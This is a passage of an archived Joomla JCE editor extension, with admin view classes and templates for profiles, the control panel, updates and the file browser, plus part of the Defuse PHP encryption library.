        Sidebar::setAction('index.php?option=com_jce&view=profiles');

        if ($user->authorise('core.admin', 'com_jce')) {
            ToolbarHelper::preferences('com_jce');
        }
    }

    /**
     * Returns an array of fields the table can be sorted by.
     *
     * @return array Array containing the field name to sort by as the key and display text as value
     *
     * @since   3.0
     */
    protected function getSortFields()
    {
        return array(
            'ordering' => Text::_('JGRID_HEADING_ORDERING'),
            'name' => Text::_('JGLOBAL_TITLE'),
            'published' => Text::_('JSTATUS'),
            'id' => Text::_('JGRID_HEADING_ID'),
        );
    }
}
com_jce/views/profile/tmpl/edit_editor_filesystem.php000060400000001061152455305310017161 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

$this->name = Text::_('WF_PROFILES_EDITOR_FILESYSTEM');
$this->fieldsname = 'editor.filesystem';
echo LayoutHelper::render('joomla.content.options_default', $this);
com_jce/views/profile/tmpl/edit_setup.php000060400000001263152455305310014573 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

$this->name = Text::_('WF_PROFILES_DETAILS');
$this->fieldsname = 'setup';
echo LayoutHelper::render('joomla.content.options_default', $this);

$this->name = Text::_('WF_PROFILES_ASSIGNMENT');
$this->fieldsname = 'assignment';
echo LayoutHelper::render('joomla.content.options_default', $this);
com_jce/views/profile/tmpl/edit_editor.php000060400000003074152455305310014723 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<div class="tabbable tabs-left flex-column">
    <?php //echo HTMLHelper::_('bootstrap.startTabSet', 'profile-editor', array('active' => 'profile-editor-setup')); ?>

    <ul class="nav nav-tabs py-1">
        <?php foreach (array('setup', 'typography', 'filesystem', 'advanced') as $key => $item): ?>
            <li class="nav-item<?php echo $key === 0 ? ' active show' : ''; ?>"><a href="#" class="nav-link"><?php echo Text::_('WF_PROFILES_EDITOR_' . strtoupper($item), true); ?></a></li>
        <?php endforeach;?>
    </ul>
    <div class="tab-content">
        <?php foreach (array('setup', 'typography', 'filesystem', 'advanced') as $key => $item): ?>
            <div class="tab-pane<?php echo $key === 0 ? ' active show' : ''; ?>">
                <?php //echo HTMLHelper::_('bootstrap.addTab', 'profile-editor', 'profile-editor-' . $item, Text::_('WF_PROFILES_EDITOR_' . strtoupper($item), true));?>

                <div class="row-fluid">
                    <?php echo $this->loadTemplate('editor_' . $item); ?>
                </div>
            </div>
            <?php //echo HTMLHelper::_('bootstrap.endTab');?>
        <?php endforeach;?>
    </div>
    <?php //echo HTMLHelper::_('bootstrap.endTabSet'); ?>
</div>com_jce/views/profile/tmpl/edit_features.php000060400000001500152455305310015243 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

$this->name = Text::_('WF_PROFILES_FEATURES_LAYOUT');
$this->fieldsname = 'editor.features';
echo LayoutHelper::render('joomla.content.options_default', $this);
?>

<div class="form-horizontal">
    <?php echo LayoutHelper::render('edit.layout', $this); ?>
    <?php echo LayoutHelper::render('edit.additional', $this); ?>
</div>
<input type="hidden" name="jform[plugins]" value="" />
<input type="hidden" name="jform[rows]" value="" />com_jce/views/profile/tmpl/edit_plugins.php000060400000010101152455305310015103 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

 \defined('_JEXEC') or die;

 use Joomla\CMS\Factory;
 use Joomla\CMS\Component\ComponentHelper;
 use Joomla\CMS\MVC\View\HtmlView;
 use Joomla\CMS\Language\Text;
 use Joomla\CMS\HTML\HTMLHelper;
 ;
 use Joomla\CMS\Plugin\PluginHelper;
 use Joomla\CMS\Table\Table;
 use Joomla\CMS\Uri\Uri;
 use Joomla\CMS\Toolbar\ToolbarHelper;
 use Joomla\CMS\Toolbar\Toolbar;
 use Joomla\CMS\Session\Session;
 use Joomla\CMS\Layout\LayoutHelper;
 use Joomla\CMS\Router\Route;

$plugins = array_values(array_filter($this->plugins, function($plugin) {
    return $plugin->editable && !empty($plugin->form);
}));

?>
<div class="<?php echo $this->formclass;?> tabbable tabs-left flex-column">
    <?php //echo HTMLHelper::_('bootstrap.startTabSet', 'profile-plugins', array('active' => 'profile-plugins-' . $plugins[0]->name));?>

    <ul class="nav nav-tabs py-1" id="profile-plugins-tabs">

    <?php

    $key = 0;

    foreach ($plugins as $plugin) :
        $plugin->state = "hide";

        if ($plugin->active) {
            $plugin->state = "";

            $key++;

            if ($key === 1) {
                $plugin->state = "active show";
            }
        }

        $icons = '';
        $title = '';

        $title .= '<p>' . $plugin->title . '</p>';
        
        if (!empty($plugin->icon)) {

            $image = !empty($plugin->image) ? '<img src="' . $plugin->image . '" alt="" />' : '';
            
            foreach ($plugin->icon as $icon) {
                $icons .= '<div class="mce-widget mce-btn mceButton ' . $plugin->class . '" title="' . $plugin->title . '"><span class="mce-ico mce-i-' . $icon . ' mceIcon mce_' . $icon . '">' . $image . '</span></div>';
            }

            $title .= '<div class="mceEditor mceDefaultSkin"><div class="mce-container mce-toolbar mceToolbarItem">' . $icons . '</div></div>';
        }

        //echo HTMLHelper::_('bootstrap.addTab', 'profile-plugins', 'profile-plugins-' . $plugin->name, $title); ?>
        <li class="nav-item <?php echo $plugin->state;?>"><a href="#profile-plugins-<?php echo $plugin->name;?>" class="nav-link"><?php echo $title;?></a></li>
    <?php endforeach;?>

    </ul>
    <div class="tab-content">
    <?php foreach ($plugins as $plugin) : ?>
        <div class="tab-pane <?php echo $plugin->state;?>" id="profile-plugins-<?php echo $plugin->name;?>">
            <div class="row-fluid">

                <?php if ($plugin->form) :
                    $plugin->fieldsname = "config";
                    $plugin->name = $plugin->title;
                    $plugin->description = "";
                    echo LayoutHelper::render('joomla.content.options_default', $plugin);
                    
                    foreach ($plugin->extensions as $type => $extensions) : ?>
                        
                        <h3><?php echo Text::_('WF_EXTENSIONS_' . strtoupper($type) . '_TITLE', true); ?></h3>

                        <?php foreach ($extensions as $name => $extension) : ?>
                            <div class="row-fluid">  
                                        
                                <?php if ($extension->form) :
                                    $extension->fieldsname = "";
                                    $extension->name = Text::_($extension->title, true);
                                    $extension->description = "";
                                    echo LayoutHelper::render('joomla.content.options_default', $extension);

                                endif; ?>

                            </div>

                        <?php endforeach; ?>

                    <?php endforeach;

                endif; ?>
            </div>
            <?php //echo HTMLHelper::_('bootstrap.endTab');?>
        </div>
        <?php endforeach;?>
    </div>
    <?php //echo HTMLHelper::_('bootstrap.endTabSet'); ?>
</div>com_jce/views/profile/tmpl/edit_editor_typography.php000060400000001061152455305310017203 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

$this->name = Text::_('WF_PROFILES_EDITOR_TYPOGRAPHY');
$this->fieldsname = 'editor.typography';
echo LayoutHelper::render('joomla.content.options_default', $this);
com_jce/views/profile/tmpl/edit.php000060400000003704152455305310013355 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

// Load tooltips behavior
HTMLHelper::_('behavior.formvalidator');
HTMLHelper::_('behavior.keepalive');

// Load JS message titles
Text::script('ERROR');
Text::script('WARNING');
Text::script('NOTICE');
Text::script('MESSAGE');

?>
<div class="ui-jce loading">
	<div class="donut"></div>
	<form action="<?php echo Route::_('index.php?option=com_jce'); ?>" id="adminForm" method="post" name="adminForm" class="form-validate">

	<?php if (!empty($this->sidebar)): ?>
		<div id="j-sidebar-container" class="span2">
			<?php echo $this->sidebar; ?>
		</div>
		<div id="j-main-container" class="span10">
	<?php else: ?>
		<div id="j-main-container">
	<?php endif;?>

			<div class="row row-fluid">
					<!-- Begin Content -->
					<div class="span12 col-md-12">
						<?php echo HTMLHelper::_('bootstrap.startTabSet', 'profile', array('active' => 'profile-setup')); ?>
						<?php foreach (array('setup', 'features', 'editor', 'plugins') as $item): ?>
							<?php echo HTMLHelper::_('bootstrap.addTab', 'profile', 'profile-' . $item, Text::_('WF_PROFILES_' . strtoupper($item), true)); ?>

							<div class="row-fluid">
								<?php echo $this->loadTemplate($item); ?>
							</div>

							<?php echo HTMLHelper::_('bootstrap.endTab'); ?>
						<?php endforeach;?>

						<?php echo HTMLHelper::_('bootstrap.endTabSet'); ?>
					</div>
					<!-- End Content -->
			</div>
			<input type="hidden" name="task" value="" />
			<input type="hidden" name="id" value="<?php echo $this->item->id; ?>" />
			<?php echo HTMLHelper::_('form.token'); ?>
		</div>
	</form>
</div>com_jce/views/profile/tmpl/edit_editor_advanced.php000060400000001055152455305310016545 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

$this->name = Text::_('WF_PROFILES_EDITOR_ADVANCED');
$this->fieldsname = 'editor.advanced';
echo LayoutHelper::render('joomla.content.options_default', $this);
com_jce/views/profile/tmpl/edit_editor_setup.php000060400000001047152455305310016141 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

$this->name = Text::_('WF_PROFILES_EDITOR_SETUP');
$this->fieldsname = 'editor.setup';
echo LayoutHelper::render('joomla.content.options_default', $this);
com_jce/views/profile/view.html.php000060400000010037152455305310013366 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\MVC\View\HtmlView;
use Joomla\CMS\Toolbar\ToolbarHelper;
use Joomla\CMS\Uri\Uri;

class JceViewProfile extends HtmlView
{
    protected $state;
    protected $item;
    public $form;

    /**
     * Display the view.
     */
    public function display($tpl = null)
    {
        $this->state = $this->get('State');
        $this->item = $this->get('Item');
        $this->form = $this->get('Form');

        $this->formclass = 'form-horizontal options-grid-form options-grid-form-full';

        $params = ComponentHelper::getParams('com_jce');

        if ($params->get('inline_help', 1)) {
            $this->formclass .= ' form-help-inline';
        }

        $this->plugins = $this->get('Plugins');
        $this->rows = $this->get('Rows');
        $this->available = $this->get('AvailableButtons');
        $this->additional = $this->get('AdditionalPlugins');

        // load language files
        $language = Factory::getLanguage();
        $language->load('com_jce', JPATH_SITE);
        $language->load('com_jce_pro', JPATH_SITE);

        // set JLayoutHelper base path
        LayoutHelper::$defaultBasePath = JPATH_COMPONENT_ADMINISTRATOR;

        // Check for errors.
        if (count($errors = $this->get('Errors'))) {
            throw new Exception(implode("\n", $errors), 500);
        }

        $this->addToolbar();
        parent::display($tpl);

        // only in Joomla 3.x
        if (version_compare(JVERSION, '4', 'lt')) {
            HTMLHelper::_('formbehavior.chosen', 'select');
        }

        // version hash
        $hash = md5(WF_VERSION);

        $document = Factory::getDocument();
        $document->addStyleSheet(Uri::root(true) . '/media/com_jce/admin/css/profile.min.css?' . $hash);
        $document->addStyleSheet(Uri::root(true) . '/media/com_jce/editor/vendor/jquery/css/jquery-ui.min.css?' . $hash);

        $document->addScript(Uri::root(true) . '/media/com_jce/editor/vendor/jquery/js/jquery-ui.min.js?' . $hash);
        $document->addScript(Uri::root(true) . '/media/com_jce/editor/vendor/jquery/js/jquery-ui.touch.min.js?' . $hash);

        $document->addScript(Uri::root(true) . '/media/com_jce/admin/js/core.min.js?' . $hash);
        $document->addScript(Uri::root(true) . '/media/com_jce/admin/js/profile.min.js?' . $hash);

        // default theme
        $document->addStyleSheet(Uri::root(true) . '/media/com_jce/editor/tinymce/themes/advanced/skins/default/ui.css?' . $hash);
        $document->addStyleSheet(Uri::root(true) . '/media/com_jce/editor/tinymce/themes/advanced/skins/default/ui_touch.css?' . $hash);
        $document->addStyleSheet(Uri::root(true) . '/media/com_jce/editor/tinymce/themes/advanced/skins/default/ui.admin.css?' . $hash);
    }

    /**
     * Add the page title and toolbar.
     *
     * @since   2.7
     */
    protected function addToolbar()
    {
        Factory::getApplication()->input->set('hidemainmenu', true);

        $user = Factory::getUser();
        $canEdit = $user->authorise('core.create', 'com_jce');

        ToolbarHelper::title(Text::_('WF_PROFILES_EDIT'), 'user');

        // For new records, check the create permission.
        if ($canEdit) {
            ToolbarHelper::apply('profile.apply');
            ToolbarHelper::save('profile.save');
            ToolbarHelper::save2new('profile.save2new');
        }

        if (empty($this->item->id)) {
            ToolbarHelper::cancel('profile.cancel');
        } else {
            ToolbarHelper::cancel('profile.cancel', 'JTOOLBAR_CLOSE');
        }

        ToolbarHelper::divider();
        ToolbarHelper::help('WF_PROFILES_EDIT');
    }
}
com_jce/views/cpanel/index.html000060400000000054152455305310012535 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/views/cpanel/tmpl/default_pro.php000060400000001314152455305310014531 0ustar00<div class="alert alert-info">
    <h4><i class="icon-star"></i> Go Pro and get more from JCE <a href="https://www.joomlacontenteditor.net/subscribe" class="btn btn-primary" target="_blank" title="Get JCE Editor Pro"><strong>Get JCE Editor Pro</strong></a></h4>
    <ul>
        <li>Resize, Thumbnail and Edit images</li>
        <li>Manage Audio and Video</li>
        <li>Create styled image captions</li>
        <li>Manage and create links to files</li>
        <li>Edit HTML in the Source Code Editor</li>
        <li>Write faster with <a href="https://en.wikipedia.org/wiki/Markdown" title="Markdown" target="_blank"><strong>Markdown</strong></a> support</li>
        <li>And much more...</li>
    </ul>
</div>com_jce/views/cpanel/tmpl/default.php000060400000005226152455305310013657 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

$user = Factory::getUser();
$canEditPref = $user->authorise('core.admin', 'com_jce');

?>
<div class="ui-jce row row-fluid">
	<div class="span12 col-md-12">
        <nav id="wf-cpanel" class="quick-icons bg-transparent">
			<ul class="unstyled mb-0 nav flex-wrap row-fluid">
				<?php echo implode("\n", $this->icons); ?>
			</ul>
		</nav>

        <dl class="dl-horizontal card card-body well">
            <dt class="wf-tooltip" title="<?php echo Text::_('WF_CPANEL_SUPPORT') . '::' . Text::_('WF_CPANEL_SUPPORT_DESC'); ?>">
                <?php echo Text::_('WF_CPANEL_SUPPORT'); ?>
            </dt>
            <dd><a href="https://www.joomlacontenteditor.net/support" target="_new">https://www.joomlacontenteditor.com/support</a></dd>
            <dt class="wf-tooltip" title="<?php echo Text::_('WF_CPANEL_LICENCE') . '::' . Text::_('WF_CPANEL_LICENCE_DESC'); ?>">
                <?php echo Text::_('WF_CPANEL_LICENCE'); ?>
            </dt>
            <dd><?php echo $this->state->get('licence'); ?></dd>
            <dt class="wf-tooltip" title="<?php echo Text::_('WF_CPANEL_VERSION') . '::' . Text::_('WF_CPANEL_VERSION_DESC'); ?>">
                <?php echo Text::_('WF_CPANEL_VERSION'); ?>
            </dt>
            <dd><?php echo $this->state->get('version'); ?></dd>
            <?php if ($this->params->get('feed', 0) || $canEditPref): ?>
                <dt class="wf-tooltip" title="<?php echo Text::_('WF_CPANEL_FEED') . '::' . Text::_('WF_CPANEL_FEED_DESC'); ?>">
                    <?php echo Text::_('WF_CPANEL_FEED'); ?>
                </dt>
                <dd>
                <?php if ($this->params->get('feed', 0)): ?>
                    <ul class="unstyled wf-cpanel-newsfeed">
                        <li><?php echo Text::_('WF_CPANEL_FEED_NONE'); ?></li>
                    </ul>
                <?php else: ?>
                    <?php echo Text::_('WF_CPANEL_FEED_DISABLED'); ?> :: <a id="newsfeed_enable" title="<?php echo Text::_('WF_PREFERENCES'); ?>" href="#">[<?php echo Text::_('WF_CPANEL_FEED_ENABLE'); ?>]</a>
                <?php endif;?>
                </dd>
            <?php endif;?>
        </dl>
        <?php if (!$this->state->get('pro', 0)) :
    echo LayoutHelper::render('message.upgrade', $this);
endif;?>
    </div>
</div>com_jce/views/cpanel/tmpl/index.html000060400000000054152455305310013511 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/views/cpanel/view.html.php000060400000003645152455305310013177 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\Helpers\Sidebar;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\HtmlView;
use Joomla\CMS\Toolbar\ToolbarHelper;
use Joomla\CMS\Uri\Uri;

class JceViewCpanel extends HtmlView
{
    protected $icons;
    protected $state;

    /**
     * Display the view.
     */
    public function display($tpl = null)
    {
        $user = Factory::getUser();

        $this->state = $this->get('State');
        $this->icons = $this->get('Icons');
        $this->params = ComponentHelper::getParams('com_jce');

        // Check for errors.
        if (count($errors = $this->get('Errors'))) {
            throw new Exception(implode("\n", $errors), 500);
        }

        HTMLHelper::_('jquery.framework');

        $document = Factory::getDocument();
        $document->addScript(Uri::root(true) . '/media/com_jce/admin/js/cpanel.min.js');
        $document->addStyleSheet(Uri::root(true) . '/media/com_jce/admin/css/cpanel.min.css');

        $this->addToolbar();
        $this->sidebar = Sidebar::render();
        parent::display($tpl);
    }

    /**
     * Add the page title and toolbar.
     *
     * @since   1.6
     */
    protected function addToolbar()
    {
        $state = $this->get('State');
        $user = Factory::getUser();

        ToolbarHelper::title('JCE - ' . Text::_('WF_CPANEL'), 'home');

        Sidebar::setAction('index.php?option=com_jce&view=cpanel');

        if ($user->authorise('core.admin', 'com_jce')) {
            ToolbarHelper::preferences('com_jce');
        }
    }
}
com_jce/views/updates/tmpl/index.html000060400000000054152455305310013714 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/views/updates/tmpl/default.php000060400000002437152455305310014063 0ustar00<?php
/**
 * @copyright 	Copyright (c) 2009-2017 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
?>
<div class="ui-jce">
    <h3><?php echo WFText::_('WF_UPDATES_AVAILABLE'); ?></h3>
    <div id="updates-list">
        <div class="row-fluid header">
            <div class="span1 title">&nbsp;</div>
            <div class="span5 title">
                <?php echo WFText::_('WF_UPDATES_NAME') ?>
            </div>
            <div class="title span3">
                <?php echo WFText::_('WF_UPDATES_VERSION') ?>
            </div>
            <div class="title span3">
                <?php echo WFText::_('WF_UPDATES_PRIORITY') ?>
            </div>
        </div>
        <div class="row-fluid body"></div>
    </div>
    <div class="btn-group pull-right fltrgt">
        <button id="update-button" class="check btn"><i class="icon-search"></i>&nbsp;<?php echo WFText::_('WF_UPDATES_CHECK'); ?></button>
    </div>
</div>
com_jce/views/updates/index.html000060400000000054152455305310012740 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/views/updates/view.html.php000060400000003775152455305310013406 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2017 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

wfimport('admin.classes.view');

class WFViewUpdates extends WFView
{
    public function display($tpl = null)
    {
        $model = $this->getModel();

        $this->addScript('components/com_jce/media/js/update.js');

        $options = array(
            'language' => array(
                'check' => WFText::_('WF_UPDATES_CHECK'),
                'install' => WFText::_('WF_UPDATES_INSTALL'),
                'installed' => WFText::_('WF_UPDATES_INSTALLED'),
                'no_updates' => WFText::_('WF_UPDATES_NONE'),
                'high' => WFText::_('WF_UPDATES_HIGH'),
                'medium' => WFText::_('WF_UPDATES_MEDIUM'),
                'low' => WFText::_('WF_UPDATES_LOW'),
                'full' => WFText::_('WF_UPDATES_FULL'),
                'patch' => WFText::_('WF_UPDATES_PATCH'),
                'auth_failed' => WFText::_('WF_UPDATES_AUTH_FAIL'),
                'update_info' => WFText::_('WF_UPDATES_INFO'),
                'install_info' => WFText::_('WF_UPDATES_INSTALL_INFO'),
                'check_updates' => WFText::_('WF_UPDATES_CHECKING'),
                'read_more' => WFText::_('WF_UPDATES_READMORE'),
                'read_less' => WFText::_('WF_UPDATES_READLESS'),
            ),
        );

        $options = json_encode($options);

        $this->addScriptDeclaration('jQuery(document).ready(function($){Wf.update.init('.$options.');});');

        // load styles
        $this->addStyleSheet(JURI::root(true).'/administrator/components/com_jce/media/css/updates.css');

        parent::display($tpl);
    }
}
com_jce/views/browser/view.html.php000060400000003575152455305310013422 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\Helpers\Sidebar;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\HtmlView;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Toolbar\ToolbarHelper;
use Joomla\CMS\Uri\Uri;

class JceViewBrowser extends HtmlView
{
    protected $icons;
    protected $state;

    /**
     * Display the view.
     */
    public function display($tpl = null)
    {
        if (!PluginHelper::isEnabled('quickicon', 'jce')) {
            Factory::getApplication()->redirect('index.php?option=com_jce');
        }

        $user = Factory::getUser();

        $this->state = $this->get('State');
        $this->params = ComponentHelper::getParams('com_jce');

        // Check for errors.
        if (count($errors = $this->get('Errors'))) {
            throw new Exception(implode("\n", $errors), 500);
        }

        HTMLHelper::_('jquery.framework');

        $document = Factory::getDocument();
        $document->addStyleSheet(Uri::root(true) . '/media/com_jce/admin/css/browser.min.css');

        $this->addToolbar();

        if (Factory::getApplication()->input->getInt('sidebar', 1) == 1) {
            $this->sidebar = Sidebar::render();
        }

        parent::display($tpl);
    }

    /**
     * Add the page title and toolbar.
     *
     * @since   1.6
     */
    protected function addToolbar()
    {
        ToolbarHelper::title('JCE - ' . Text::_('WF_BROWSER_TITLE'), 'picture');
        Sidebar::setAction('index.php?option=com_jce&view=browser');
    }
}
com_jce/views/browser/tmpl/default.php000060400000001655152455305310014102 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2022 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
\defined('_JEXEC') or die;
?>
<div class="row">
	<?php if (!empty($this->sidebar)) : ?>
	<div id="j-sidebar-container" class="j-sidebar-container span2 col-md-2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="j-main-container span10 col-md-10">
	<?php else : ?>
	<div id="j-main-container">
	<?php endif; ?>
		<div class="ui-jce row-fluid">
			<iframe src="<?php echo $this->state->get('url');?>" frameborder="0" class="wf-admin-browser"></iframe>
		</div>
	</div>
</div>com_jce/vendor/Defuse/Crypto/KeyProtectedByPassword.php000060400000006747152455305310017301 0ustar00<?php

namespace Defuse\Crypto;

use Defuse\Crypto\Exception as Ex;

final class KeyProtectedByPassword
{
    const PASSWORD_KEY_CURRENT_VERSION = "\xDE\xF1\x00\x00";

    /**
     * @var string
     */
    private $encrypted_key = '';

    /**
     * Creates a random key protected by the provided password.
     *
     * @param string $password
     *
     * @throws Ex\EnvironmentIsBrokenException
     *
     * @return KeyProtectedByPassword
     */
    public static function createRandomPasswordProtectedKey($password)
    {
        $inner_key = Key::createNewRandomKey();
        /* The password is hashed as a form of poor-man's domain separation
         * between this use of encryptWithPassword() and other uses of
         * encryptWithPassword() that the user may also be using as part of the
         * same protocol. */
        $encrypted_key = Crypto::encryptWithPassword(
            $inner_key->saveToAsciiSafeString(),
            \hash(Core::HASH_FUNCTION_NAME, $password, true),
            true
        );

        return new KeyProtectedByPassword($encrypted_key);
    }

    /**
     * Loads a KeyProtectedByPassword from its encoded form.
     *
     * @param string $saved_key_string
     *
     * @throws Ex\BadFormatException
     *
     * @return KeyProtectedByPassword
     */
    public static function loadFromAsciiSafeString($saved_key_string)
    {
        $encrypted_key = Encoding::loadBytesFromChecksummedAsciiSafeString(
            self::PASSWORD_KEY_CURRENT_VERSION,
            $saved_key_string
        );
        return new KeyProtectedByPassword($encrypted_key);
    }

    /**
     * Encodes the KeyProtectedByPassword into a string of printable ASCII
     * characters.
     *
     * @throws Ex\EnvironmentIsBrokenException
     *
     * @return string
     */
    public function saveToAsciiSafeString()
    {
        return Encoding::saveBytesToChecksummedAsciiSafeString(
            self::PASSWORD_KEY_CURRENT_VERSION,
            $this->encrypted_key
        );
    }

    /**
     * Decrypts the protected key, returning an unprotected Key object that can
     * be used for encryption and decryption.
     *
     * @throws Ex\EnvironmentIsBrokenException
     * @throws Ex\WrongKeyOrModifiedCiphertextException
     *
     * @param string $password
     * @return Key
     */
    public function unlockKey($password)
    {
        try {
            $inner_key_encoded = Crypto::decryptWithPassword(
                $this->encrypted_key,
                \hash(Core::HASH_FUNCTION_NAME, $password, true),
                true
            );
            return Key::loadFromAsciiSafeString($inner_key_encoded);
        } catch (Ex\BadFormatException $ex) {
            /* This should never happen unless an attacker replaced the
             * encrypted key ciphertext with some other ciphertext that was
             * encrypted with the same password. We transform the exception type
             * here in order to make the API simpler, avoiding the need to
             * document that this method might throw an Ex\BadFormatException. */
            throw new Ex\WrongKeyOrModifiedCiphertextException(
                "The decrypted key was found to be in an invalid format. " .
                "This very likely indicates it was modified by an attacker."
            );
        }
    }

    /**
     * Constructor for KeyProtectedByPassword.
     *
     * @param string $encrypted_key
     */
    private function __construct($encrypted_key)
    {
        $this->encrypted_key = $encrypted_key;
    }
}
com_jce/vendor/Defuse/Crypto/DerivedKeys.php000060400000001413152455305310015060 0ustar00<?php

namespace Defuse\Crypto;

/**
 * Class DerivedKeys
 * @package Defuse\Crypto
 */
final class DerivedKeys
{
    /**
     * @var string
     */
    private $akey = '';

    /**
     * @var string
     */
    private $ekey = '';

    /**
     * Returns the authentication key.
     * @return string
     */
    public function getAuthenticationKey()
    {
        return $this->akey;
    }

    /**
     * Returns the encryption key.
